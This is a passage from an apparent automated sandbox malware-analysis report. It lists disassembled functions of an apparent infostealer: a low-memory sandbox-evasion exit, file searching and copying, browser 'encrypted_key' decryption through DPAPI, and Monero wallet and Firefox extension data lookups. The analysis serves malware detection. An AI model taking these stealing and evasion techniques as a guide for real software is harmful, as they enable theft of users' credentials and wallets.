Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: PD
API String ID: 211194620-2666890729
Opcode ID: 138d1aa04b81e7bfd3fd034d0591f4737e6173e7f8eebfb5417c7e73e3adc0b8
Instruction ID: 7de9e13a0d2701595defd1222fe7387646b6bd4aada461734d7a7a51ae2e59db
Opcode Fuzzy Hash: 138d1aa04b81e7bfd3fd034d0591f4737e6173e7f8eebfb5417c7e73e3adc0b8
Instruction Fuzzy Hash: F481E0729101159BCB04FBB4EC5ADEE7B38BFD4300F508529F51AA6091EF346A09DB67

Function 00561220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0056123E
__aulldiv.LIBCMT ref: 00561258
__aulldiv.LIBCMT ref: 00561266
ExitProcess.KERNEL32 ref: 00561294

Strings

@, xrefs: 00561233

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: fcd07d3d77c7b6a90c3fa45f3a3ede6d7ef70e96578eda7434880f2cee478508
Instruction ID: 05122bc6f465f4a9e6f6ed5d44015388e016a4a0ec5e8ea33a6045ddd773ba57
Opcode Fuzzy Hash: fcd07d3d77c7b6a90c3fa45f3a3ede6d7ef70e96578eda7434880f2cee478508
Instruction Fuzzy Hash: E2014BB0D40308BAEB10DBE1DC49BAEBF78BB44701F248458E705B7280D7745545879D

Function 005770D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

memset.MSVCRT ref: 0057716A

Strings

sW, xrefs: 005772AE, 00577179, 0057717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0057718C
sW, xrefs: 00577111

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: sW$sW$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4082360348
Opcode ID: e71ae8f48fca18a25e2252f0f6464952923d7c1a4375046377b9b53a66e89e06
Instruction ID: 877272d7edda934b72489be919b09ee77080f08c259da24689a42688064443ba
Opcode Fuzzy Hash: e71ae8f48fca18a25e2252f0f6464952923d7c1a4375046377b9b53a66e89e06
Instruction Fuzzy Hash: 235194B0D0421D9BDB14EB90EC59BEEBB74BF88300F5084A8E51977181EB746E88DF55

Function 00574BB0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00578DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00578E0B

lstrcat.KERNEL32(?,00000000), ref: 00574BEA
lstrcat.KERNEL32(?,0044EAC0), ref: 00574C08

Part of subcall function 00574910: wsprintfA.USER32 ref: 0057492C
Part of subcall function 00574910: FindFirstFileA.KERNEL32(?,?), ref: 00574943

Part of subcall function 00574910: StrCmpCA.SHLWAPI(?,00580FDC), ref: 00574971
Part of subcall function 00574910: StrCmpCA.SHLWAPI(?,00580FE0), ref: 00574987
Part of subcall function 00574910: FindNextFileA.KERNEL32(000000FF,?), ref: 00574B7D
Part of subcall function 00574910: FindClose.KERNEL32(000000FF), ref: 00574B92

Part of subcall function 00574910: wsprintfA.USER32 ref: 005749B0
Part of subcall function 00574910: StrCmpCA.SHLWAPI(?,005808D2), ref: 005749C5
Part of subcall function 00574910: wsprintfA.USER32 ref: 005749E2
Part of subcall function 00574910: PathMatchSpecA.SHLWAPI(?,?), ref: 00574A1E
Part of subcall function 00574910: lstrcat.KERNEL32(?,0044FA70), ref: 00574A4A
Part of subcall function 00574910: lstrcat.KERNEL32(?,00580FF8), ref: 00574A5C
Part of subcall function 00574910: lstrcat.KERNEL32(?,?), ref: 00574A70
Part of subcall function 00574910: lstrcat.KERNEL32(?,00580FFC), ref: 00574A82
Part of subcall function 00574910: lstrcat.KERNEL32(?,?), ref: 00574A96
Part of subcall function 00574910: CopyFileA.KERNEL32(?,?,00000001), ref: 00574AAC
Part of subcall function 00574910: DeleteFileA.KERNEL32(?), ref: 00574B31

Part of subcall function 00574910: wsprintfA.USER32 ref: 00574A07

Strings

D, xrefs: 00574D1F
`D, xrefs: 00574C49
@D, xrefs: 00574CEA

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: @D$`D$D
API String ID: 2104210347-3069119423
Opcode ID: 3a4ad7523e406a787f920f3e38089b01733d4f2165705c38600334a561823354
Instruction ID: b28419befbd0516164acf87612c230e2993c3f0c99abd7fb373cf5d1646e6035
Opcode Fuzzy Hash: 3a4ad7523e406a787f920f3e38089b01733d4f2165705c38600334a561823354
Instruction Fuzzy Hash: A44185B650020467CB94F760EC46EFE773DB7D9700F00C548B64A97185EF755A888F96

Function 6CA9C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA9C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA9C969
GetSystemInfo.KERNEL32(?), ref: 6CA9C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA9C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA9C9E2

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 6a49f26d409b77ee1e24fd4a5e794f8a896693c9b410792feda0cd0534e367dc
Instruction ID: e8655c5b2c02e0159cb6949d440202f97dd1e8ed90d779cc0461fd272af4e05e
Opcode Fuzzy Hash: 6a49f26d409b77ee1e24fd4a5e794f8a896693c9b410792feda0cd0534e367dc
Instruction Fuzzy Hash: 042129317116286BDB04AB68CC85BAE73F9FB4A708F50051EF943A7A80DB309D84C7A4

Function 005612A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005612B4
RtlAllocateHeap.NTDLL(00000000), ref: 005612BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005612D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005612F5
RegCloseKey.ADVAPI32(?), ref: 005612FF

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 0262ed47245e44c9226addd1b96daea1b42fea275a8b51a54257e826d588cc31
Instruction ID: 7c367a44c7a3d818e62dd2ea5628f383c3a1b0d3f940565b12fa0fcff8f051ea
Opcode Fuzzy Hash: 0262ed47245e44c9226addd1b96daea1b42fea275a8b51a54257e826d588cc31
Instruction Fuzzy Hash: C4011DB9A40208BBDB00DFE0DC49FAEB7B8EB88701F00C159FA0597280D7789A01CB55

Function 0056F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 005699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005699EC
Part of subcall function 005699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00569A11
Part of subcall function 005699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00569A31
Part of subcall function 005699C0: ReadFile.KERNEL32(000000FF,?,00000000,0056148F,00000000), ref: 00569A5A
Part of subcall function 005699C0: LocalFree.KERNEL32(0056148F), ref: 00569A90
Part of subcall function 005699C0: CloseHandle.KERNEL32(000000FF), ref: 00569A9A

Part of subcall function 00578E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00578E52

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00581580,00580D92), ref: 0056F54C
lstrlen.KERNEL32(00000000), ref: 0056F56B

Strings

^userContextId=4294967295, xrefs: 0056F59C
moz-extension+++, xrefs: 0056F5AD

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 401d50ac82cb63d19d609af6925164fcb00d384535f011827aa3d0dd2b2f6178
Instruction ID: f6d08d9dfdd8a97968f17630c47080d4e0cd6537e8d1aebdf1a6a75036bd80ac
Opcode Fuzzy Hash: 401d50ac82cb63d19d609af6925164fcb00d384535f011827aa3d0dd2b2f6178
Instruction Fuzzy Hash: DF51C171D101099ADB04FBB4EC5ADEE7B78BFD4300F40C528F91A67195EE346A09DBA2

Function 00569CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 005699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005699EC
Part of subcall function 005699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00569A11
Part of subcall function 005699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00569A31
Part of subcall function 005699C0: ReadFile.KERNEL32(000000FF,?,00000000,0056148F,00000000), ref: 00569A5A
Part of subcall function 005699C0: LocalFree.KERNEL32(0056148F), ref: 00569A90
Part of subcall function 005699C0: CloseHandle.KERNEL32(000000FF), ref: 00569A9A

Part of subcall function 00578E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00578E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00569D39

Part of subcall function 00569AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NV,00000000,00000000), ref: 00569AEF
Part of subcall function 00569AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00564EEE,00000000,?), ref: 00569B01
Part of subcall function 00569AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NV,00000000,00000000), ref: 00569B2A
Part of subcall function 00569AC0: LocalFree.KERNEL32(?,?,?,?,00564EEE,00000000,?), ref: 00569B3F

Part of subcall function 00569B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00569B84
Part of subcall function 00569B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00569BA3
Part of subcall function 00569B60: LocalFree.KERNEL32(?), ref: 00569BD3

Strings

, xrefs: 00569DC1
"encrypted_key":", xrefs: 00569D30
DPAPI, xrefs: 00569D89

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 71097917ad7b708bfea2c5f76f3c89c69e75a8911941fcb804036488e0947369
Instruction ID: 5cfe0eba96dc9947d81a5baf3edf2028a8219465ac3e74a066bf3a3621198c91
Opcode Fuzzy Hash: 71097917ad7b708bfea2c5f76f3c89c69e75a8911941fcb804036488e0947369
